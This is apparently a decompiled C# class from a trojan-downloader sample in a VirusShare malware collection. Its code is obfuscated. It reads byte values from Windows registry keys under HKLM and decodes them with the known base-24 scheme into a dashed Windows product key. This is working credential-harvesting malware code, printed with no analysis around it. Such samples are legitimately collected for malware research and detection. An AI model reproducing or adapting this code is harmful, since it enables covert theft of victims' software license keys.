// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7761CAE9-D290-48D9-A44C-5C95C5289DD6
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Downloader.MSIL.VKont.a-1d4cb0f0a33db378f9e4ae1b0f91ee4baabf5f1a669646e1278e016241a1452a.exe

using \u0001;
using \u0003;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.Collections;
using System.Runtime.InteropServices;

namespace \u0003
{
  internal class \u0004
  {
    [NonSerialized]
    internal static \u0001.\u0001 \u0001;

    public static byte[] \u0002([In] \u0004.\u0001 obj0)
    {
      byte[] numArray1 = (byte[]) null;
      RegistryKey registryKey = (RegistryKey) null;
      switch (obj0)
      {
        case \u0004.\u0001.\u0001:
          registryKey = Registry.LocalMachine.OpenSubKey(\u0004.\u0001(4072), false);
          break;
        case \u0004.\u0001.\u0002:
          registryKey = Registry.LocalMachine.OpenSubKey(\u0004.\u0001(4133), false);
          break;
        case \u0004.\u0001.\u0003:
          registryKey = Registry.LocalMachine.OpenSubKey(\u0004.\u0001(4246), false);
          break;
      }
      if (registryKey != null)
      {
        byte[] numArray2 = registryKey.GetValue(\u0004.\u0001(4359)) as byte[];
        registryKey.Close();
        return numArray2;
      }
      if (registryKey == null)
        numArray1 = (byte[]) null;
      return numArray1;
    }

    public static string \u0002([In] byte[] obj0)
    {
      if (obj0 == null)
        return \u0004.\u0001(336);
      char[] chArray1 = new char[24]
      {
        'B',
        'C',
        'D',
        'F',
        'G',
        'H',
        'J',
        'K',
        'M',
        'P',
        'Q',
        'R',
        'T',
        'V',
        'W',
        'X',
        'Y',
        '2',
        '3',
        '4',
        '6',
        '7',
        '8',
        '9'
      };
      char[] chArray2 = new char[29];
      ArrayList arrayList = new ArrayList();
      int index1 = 52;
      do
      {
        arrayList.Add((object) obj0[index1]);
        checked { ++index1; }
      }
      while (index1 <= 67);
      int index2 = 28;
      do
      {
        if (checked (index2 + 1) % 6 == 0)
        {
          chArray2[index2] = '-';
        }
        else
        {
          int index3 = 0;
          int index4 = 14;
          do
          {
            int num = index3 << 8 | (int) Conversions.ToByte(arrayList[index4]);
            arrayList[index4] = (object) checked ((byte) unchecked (num / 24));
            index3 = num % 24;
            chArray2[index2] = chArray1[index3];
            checked { index4 += -1; }
          }
          while (index4 >= 0);
        }
        checked { index2 += -1; }
      }
      while (index2 >= 0);
      return new string(chArray2);
    }

    static \u0004() => \u0002.\u0002();

    internal enum \u0001
    {
      \u0001,
      \u0002,
      \u0003,
    }
  }
}
